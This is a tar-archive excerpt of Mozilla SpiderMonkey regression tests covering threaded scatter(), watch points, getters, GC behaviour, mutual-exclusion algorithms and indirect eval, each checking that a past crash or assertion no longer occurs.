mozjs17.0.0/js/src/tests/js1_8/extensions/regress-471197.js0000664000175000017500000000211512106270663023052 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 471197; var summary = 'Do not crash when cx->thread is null'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var results; jit(true); function f() { for (var i = 0; i != 1000; ++i) { } } if (typeof scatter == 'function') { results = scatter([f, f]); } else { print('Test skipped due to lack of scatter threadsafe function'); } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-479381.js0000664000175000017500000000222612106270663023060 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var BUGNUMBER = 479381; var summary = 'Do not crash @ js_FinalizeStringRT with multi-threads.'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof gczeal != 'function' || typeof scatter != 'function') { print(expect = actual = 'Test skipped: requires mulithreads'); } else { expect = actual = 'No Crash'; gczeal(2); function f() { var s; for (var i = 0; i < 9999; i++) s = 'a' + String(i)[3] + 'b'; return s; } print(scatter([f, f, f, f])); gczeal(0); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-394709.js0000664000175000017500000000305612106270663023062 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 394709; var summary = 'Do not leak with object.watch and closure'; var actual = 'No Leak'; var expect = 'No Leak'; if (typeof countHeap == 'undefined') { countHeap = function () { print('This test requires countHeap which is not supported'); return 0; }; } //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); // Ensure that we flush all values so that gc() collects all objects that // the user cannot reach from JS. eval(); runtest(); gc(); var count1 = countHeap(); runtest(); gc(); var count2 = countHeap(); runtest(); gc(); var count3 = countHeap(); /* Try to be tolerant of conservative GC noise: we want a steady leak. */ if (count1 < count2 && count2 < count3) throw "A leaky watch point is detected"; function runtest () { var obj = { b: 0 }; obj.watch('b', watcher); function watcher(id, old, value) { ++obj.n; return value; } } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-481989.js0000664000175000017500000000124512106270663023067 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 481989; var summary = 'TM: Do not assert: SPROP_HAS_STUB_SETTER(sprop)'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); y = this.watch("x", function(){}); for each (let y in ['', '']) x = y; jit(true); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-385393-10.js0000664000175000017500000000156612106270663023303 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 385393; var summary = 'Regression test for bug 385393'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { [1 for (x in [])].watch(); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-417817.js0000664000175000017500000000225112106270663023052 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 417817; var summary = 'Do not assert: ASSERT_VALID_PROPERTY_CACHE_HIT'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); const numThreads = 2; const numPasses = 1000; var tests = { 0: function first(myAn) { /* This print statement is needed to reliably trigger the bug */ print("Hello, World!"); }, length: 1 }; function runAllTests() { var passes; var i; for (passes = 0; passes < numPasses; passes++) { for (i = 0; i < tests.length; i++) { tests[0](); } } } if (typeof scatter == 'undefined') { print(expect = actual = 'Test skipped. Requires scatter.'); } else { var i; var a = []; for (i = 0; i < numThreads; i++) a.push(runAllTests); scatter(a); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-479252.js0000664000175000017500000000216412106270663023056 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 479252; var summary = 'Avoid watchdog ticks when idle in shell'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof sleep != 'function' || typeof scatter != 'function' || typeof timeout != 'function') { print(expect = actual = 'Test skipped: requires mulithreads and timeout.'); } else { expectExitCode(6); function f() { sleep(100); } timeout(1.0); scatter([f,f,f,f,f]); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-469625.js0000664000175000017500000000173712106270663023066 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var BUGNUMBER = 469625; var summary = 'TM: Array prototype and expression closures'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'TypeError: (intermediate value).__proto__ is not a function'; jit(true); Array.prototype.__proto__ = function () 3; try { [].__proto__(); } catch(ex) { print(actual = ex + ''); } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-452913.js0000775000175000017500000000127612106270663023057 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 452913; var summary = 'Do not crash with defined getter and for (let)'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); (this.__defineGetter__("x", function (x)'foo'.replace(/o/g, [1].push))); for(let y in [,,,]) for(let y in [,,,]) x = x; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-454744.js0000664000175000017500000000175212106270663023057 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 454744; var summary = 'Do not assert with JIT: PCVAL_IS_SPROP(entry->vword)'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { this.__defineGetter__('x', function() 2); for (var j=0;j<4;++j) { x=1; } } catch(ex) { print(ex + ''); } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/dekker.js0000664000175000017500000000304612106270663022077 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var summary = "Dekker's algorithm for mutual exclusion"; // Adapted from pseudocode in Wikipedia: // http://en.wikipedia.org/wiki/Dekker%27s_algorithm printStatus (summary); var N = 500; // number of iterations // the mutex mechanism var f = [false, false]; var turn = 0; // resource being protected var counter = 0; function worker(me) { let him = 1 - me; for (let i = 0; i < N; i++) { // enter the mutex f[me] = true; while (f[him]) { if (turn != me) { f[me] = false; while (turn != me) ; // busy wait f[me] = true; } } // critical section let x = counter; sleep(0.003); counter = x + 1; // leave the mutex turn = him; f[me] = false; } return 'ok'; } var expect; var actual; if (typeof scatter == 'undefined' || typeof sleep == 'undefined') { print('Test skipped. scatter or sleep not defined.'); expect = actual = 'Test skipped.'; } else { var results = scatter([function () { return worker(0); }, function () { return worker(1); }]); expect = "Thread status: [ok,ok], counter: " + (2 * N); actual = "Thread status: [" + results + "], counter: " + counter; } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-476869.js0000664000175000017500000000236012106270663023067 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 476869; var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof gczeal == 'undefined') { gczeal = (function (){}); } jit(true); function f() { (new Function("gczeal(1); for each (let y in [/x/,'',new Boolean(false),new Boolean(false),new Boolean(false),'',/x/,new Boolean(false),new Boolean(false)]){}"))(); } __proto__.__iterator__ = this.__defineGetter__("", function(){}) f(); jit(false); delete __proto__.__iterator__; gczeal(0); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/lamport.js0000664000175000017500000000426512106270663022314 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------- var summary = "Lamport Bakery's algorithm for mutual exclusion"; // Adapted from pseudocode in Wikipedia: // http://en.wikipedia.org/wiki/Lamport%27s_bakery_algorithm printStatus(summary); var N = 15; // Number of threads. var LOOP_COUNT = 10; // Number of times each thread should loop function range(n) { for (let i = 0; i < n; i++) yield i; } function max(a) { let x = Number.NEGATIVE_INFINITY; for each (let i in a) if (i > x) x = i; return x; } // the mutex mechanism var entering = [false for (i in range(N))]; var ticket = [0 for (i in range(N))]; // the object being protected var counter = 0; function lock(i) { entering[i] = true; ticket[i] = 1 + max(ticket); entering[i] = false; for (let j = 0; j < N; j++) { // If thread j is in the middle of getting a ticket, wait for that to // finish. while (entering[j]) ; // Wait until all threads with smaller ticket numbers or with the same // ticket number, but with higher priority, finish their work. while ((ticket[j] != 0) && ((ticket[j] < ticket[i]) || ((ticket[j] == ticket[i]) && (i < j)))) ; } } function unlock(i) { ticket[i] = 0; } function worker(i) { for (let k = 0; k < LOOP_COUNT; k++) { lock(i); // The critical section let x = counter; sleep(0.003); counter = x + 1; unlock(i); } return 'ok'; } function makeWorker(id) { return function () { return worker(id); }; } var expect; var actual; if (typeof scatter == 'undefined' || typeof sleep == 'undefined') { print('Test skipped. scatter or sleep not defined.'); expect = actual = 'Test skipped.'; } else { scatter([makeWorker(i) for (i in range(N))]); expect = "counter: " + (N * LOOP_COUNT); actual = "counter: " + counter; } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/for-in.js0000664000175000017500000000233512106270663022024 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var summary = "Contention among threads enumerating properties"; // Adapted from mozilla/js/src/xpconnect/tests/js/old/threads.js printStatus (summary); var LOOP_COUNT = 1000; var THREAD_COUNT = 10; var foo; var bar; function makeWorkerFn(id) { return function() { foo = id + 1; bar[id] = {p: 0}; var n, m; for (n in bar) { for (m in bar[n]) {} } for (n in parent({})) {} }; } function range(n) { for (let i = 0; i < n; i++) yield i; } var expect; var actual; expect = actual = 'No crash'; if (typeof scatter == 'undefined') { print('Test skipped. scatter not defined.'); } else if (typeof parent === "undefined") { print('Test skipped, no parent() function.'); } else { for (let i = 0; i < LOOP_COUNT; i++) { foo = 0; bar = new Array(THREAD_COUNT); scatter([makeWorkerFn(j) for (j in range(THREAD_COUNT))]); } } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-473040.js0000775000175000017500000000154412106270663023047 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 473040; var summary = 'Do not assert: tm->reservedDoublePoolPtr > tm->reservedDoublePool'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); Object.defineProperty(__proto__, "functional", { enumerable: true, configurable: true, get: new Function("gc()") }); for each (let x in [new Boolean(true), new Boolean(true), -0, new Boolean(true), -0]) { undefined; } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-385729.js0000664000175000017500000000265212106270663023065 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 385729; var summary = 'uneval(eval(expression closure))'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof eval != 'undefined' && typeof uneval != 'undefined') { expect = '(function f () /x/g)'; try { // mozilla 1.9 actual = uneval(eval(expect)); } catch(ex) { // mozilla 1.8 expect = 'SyntaxError: missing { before function body'; actual = ex + ''; } compareSource(expect, actual, summary); expect = '({get f () /x/g})'; try { // mozilla 1.9 actual = uneval(eval("({get f () /x/g})")); } catch(ex) { // mozilla 1.8 expect = 'SyntaxError: missing { before function body'; actual = ex + ''; } compareSource(expect, actual, summary); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-452476.js0000664000175000017500000000161512106270663023055 0ustar sstanglsstangl// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 452476; var summary = 'Do not assert with JIT: !cx->runningJittedCode'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (var j = 0; j < 10; j++) { for (var i = 0; i < j; ++i) this["n" + i] = 1; this.__defineGetter__('w', (function(){})); [1 for each (g in this) for each (t in /x/g)]; } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-455973.js0000664000175000017500000000143112106270663023056 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 455973; var summary = 'Do not assert: !cx->throwing'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { for (let i = 0; i < 5; ++i) void (this["y" + i] = ""); this.__defineGetter__("z", function () { throw 2; }); for (let j = 0; j < 2; ++j) { [1 for each (q in this) if ('')]; } } catch(ex) { } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/simple-tree.js0000664000175000017500000000235312106270663023060 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var summary = "Create a tree of threads"; var N = 50; // number of threads to create printStatus (summary); function range(start, stop) { var a = []; for (var i = start; i < stop; i++) a.push(i); return a; } function tree(start, stop) { sleep(0.001); if (start >= stop) return []; else if (start + 1 >= stop) return [start]; sleep(0.001); let mid = start + Math.floor((stop - start) / 2); let halves = scatter([function () { return tree(start, mid); }, function () { return tree(mid, stop); }]); sleep(0.001); return Array.prototype.concat.apply([], halves); } var expect; var actual; if (typeof scatter == 'undefined' || typeof sleep == 'undefined') { print('Test skipped. scatter or sleep not defined.'); expect = actual = 'Test skipped.'; } else { expect = range(0, N).toSource(); actual = tree(0, N).toSource(); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-419091.js0000664000175000017500000000232312106270663023046 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 419091; var summary = 'Do not assert: JS_PROPERTY_CACHE(cx).disabled >= 0'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof scatter == 'undefined') { print(expect = actual = 'Test skipped. Requires scatter.'); } else { if (typeof gczeal == 'undefined') { gczeal = (function () {}); } gczeal(2); function f() { for (let i = 0; i < 10; i++) { let y = { x: i } } } for (let i = 0; i < 10; i++) scatter([f, f]); gczeal(0); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-378789.js0000664000175000017500000000167112106270663023075 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 378789; var summary = 'js_PutEscapedString should handle nulls'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof dumpHeap == 'undefined') { print('dumpHeap not supported'); } else { dumpHeap(null, [ "a\0b" ], null, 1); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-422269.js0000664000175000017500000000415212106270663023051 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 422269; var summary = 'Compile-time let block should not capture runtime references'; var actual = 'referenced only by stack and closure'; var expect = 'referenced only by stack and closure'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f() { let m = {sin: Math.sin}; (function holder() { m.sin(1); })(); return m; } if (typeof findReferences == 'undefined') { expect = actual = 'Test skipped'; print('Test skipped. Requires findReferences function.'); } else { var x = f(); var refs = findReferences(x); // At this point, x should only be referenced from the stack --- the // variable 'x' itself, and any random things the conservative scanner // finds --- and possibly from the 'holder' closure, which could itself // be held alive for random reasons. Remove those from the refs list, and // then complain if anything is left. for (var edge in refs) { // Remove references from roots, like the stack. if (refs[edge].every(function (r) r === null)) delete refs[edge]; // Remove references from the closure, which could be held alive for // random reasons. else if (refs[edge].length === 1 && typeof refs[edge][0] === "function" && refs[edge][0].name === "holder") delete refs[edge]; } if (Object.keys(refs).length != 0) actual = "unexpected references to the result of f: " + Object.keys(refs).join(", "); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/template.js0000664000175000017500000000127212106270663020245 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: */ //----------------------------------------------------------------------------- var BUGNUMBER = 99999; var summary = ''; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_4/0000775000175000017500000000000012106270663016066 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/README0000664000175000017500000000001712106270663016744 0ustar sstanglsstanglJavaScript 1.4 mozjs17.0.0/js/src/tests/js1_4/Eval/0000775000175000017500000000000012106270663016755 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Eval/shell.js0000664000175000017500000000000012106270663020410 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Eval/eval-001.js0000664000175000017500000000326712106270663020550 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: eval-001.js * Original Description: (SEE REVISED DESCRIPTION FURTHER BELOW) * * The global eval function may not be accessed indirectly and then called. * This feature will continue to work in JavaScript 1.3 but will result in an * error in JavaScript 1.4. This restriction is also in place for the With and * Closure constructors. * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324451 * * Author: christine@netscape.com * Date: 11 August 1998 * * * REVISION: 05 February 2001 * Author: pschwartau@netscape.com * * Indirect eval IS NOT ILLEGAL per ECMA3!!! See * * http://bugzilla.mozilla.org/show_bug.cgi?id=38512 * * ------- Additional Comments From Brendan Eich 2001-01-30 17:12 ------- * ECMA-262 Edition 3 doesn't require implementations to throw EvalError, * see the short, section-less Chapter 16. It does say an implementation that * doesn't throw EvalError must allow assignment to eval and indirect calls * of the evalnative method. * */ var SECTION = "eval-001.js"; var VERSION = "JS1_4"; var TITLE = "Calling eval indirectly should NOT fail in version 140"; var BUGNUMBER="38512"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var MY_EVAL = eval; var RESULT = ""; var EXPECT = "abcdefg"; MY_EVAL( "RESULT = EXPECT" ); new TestCase( SECTION, "Call eval indirectly", EXPECT, RESULT ); test(); mozjs17.0.0/js/src/tests/js1_4/Eval/browser.js0000664000175000017500000000000012106270663020764 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Eval/eval-002.js0000664000175000017500000000335412106270663020546 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: eval-002.js * Description: (SEE REVISED DESCRIPTION FURTHER BELOW) * * The global eval function may not be accessed indirectly and then called. * This feature will continue to work in JavaScript 1.3 but will result in an * error in JavaScript 1.4. This restriction is also in place for the With and * Closure constructors. * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324451 * * Author: christine@netscape.com * Date: 11 August 1998 * * * REVISION: 05 February 2001 * Author: pschwartau@netscape.com * * Indirect eval IS NOT ILLEGAL per ECMA3!!! See * * http://bugzilla.mozilla.org/show_bug.cgi?id=38512 * * ------- Additional Comments From Brendan Eich 2001-01-30 17:12 ------- * ECMA-262 Edition 3 doesn't require implementations to throw EvalError, * see the short, section-less Chapter 16. It does say an implementation that * doesn't throw EvalError must allow assignment to eval and indirect calls * of the evalnative method. * */ var SECTION = "eval-002.js"; var VERSION = "JS1_4"; var TITLE = "Calling eval indirectly should NOT fail in version 140"; var BUGNUMBER="38512"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var MY_EVAL = eval; var RESULT = ""; var EXPECT = 1 + "testString" EvalTest(); test(); function EvalTest() { MY_EVAL( "RESULT = EXPECT" ); new TestCase( SECTION, "Call eval indirectly", EXPECT, RESULT ); } mozjs17.0.0/js/src/tests/js1_4/Eval/eval-003.js0000664000175000017500000000365612106270663020554 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: eval-003.js * Description: (SEE REVISED DESCRIPTION FURTHER BELOW) * * The global eval function may not be accessed indirectly and then called. * This feature will continue to work in JavaScript 1.3 but will result in an * error in JavaScript 1.4. This restriction is also in place for the With and * Closure constructors. * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324451 * * Author: christine@netscape.com * Date: 11 August 1998 * * * REVISION: 05 February 2001 * Author: pschwartau@netscape.com * * Indirect eval IS NOT ILLEGAL per ECMA3!!! See * * http://bugzilla.mozilla.org/show_bug.cgi?id=38512 * * ------- Additional Comments From Brendan Eich 2001-01-30 17:12 ------- * ECMA-262 Edition 3 doesn't require implementations to throw EvalError, * see the short, section-less Chapter 16. It does say an implementation that * doesn't throw EvalError must allow assignment to eval and indirect calls * of the evalnative method. * */ var SECTION = "eval-003.js"; var VERSION = "JS1_4"; var TITLE = "Calling eval indirectly should NOT fail in version 140"; var BUGNUMBER="38512"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var MY_EVAL = eval; var RESULT = ""; var EXPECT= ""; var h = function f(x,y){var g = function(z){return Math.exp(z);}; return g(x+y);}; new EvalTest(); test(); function EvalTest() { with( this ) { MY_EVAL( "RESULT = h(-1, 1)" ); EXPECT = 1; //The base e to the power (-1 + 1), i.e. the power 0, equals 1 .... new TestCase( SECTION, "Call eval indirectly", EXPECT, RESULT ); } } mozjs17.0.0/js/src/tests/js1_4/Eval/regress-531682.js0000664000175000017500000000167712106270663021546 0ustar sstanglsstangl/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ //----------------------------------------------------------------------------- var BUGNUMBER = 531682; var summary = 'Checking proper wrapping of scope in eval(source, scope)'; var actual; var expect; //----------------------------------------------------------------------------- var x = 0; test(); //----------------------------------------------------------------------------- function scope1() { eval('var x = 1;'); return function() { return x; } } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); // The scope chain in eval should be just scope1() and the global object. actual = eval('x', scope1()); expect = 0; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_4/shell.js0000664000175000017500000000000012106270663017521 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Regress/0000775000175000017500000000000012106270663017500 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Regress/function-004-n.js0000664000175000017500000000166612106270663022430 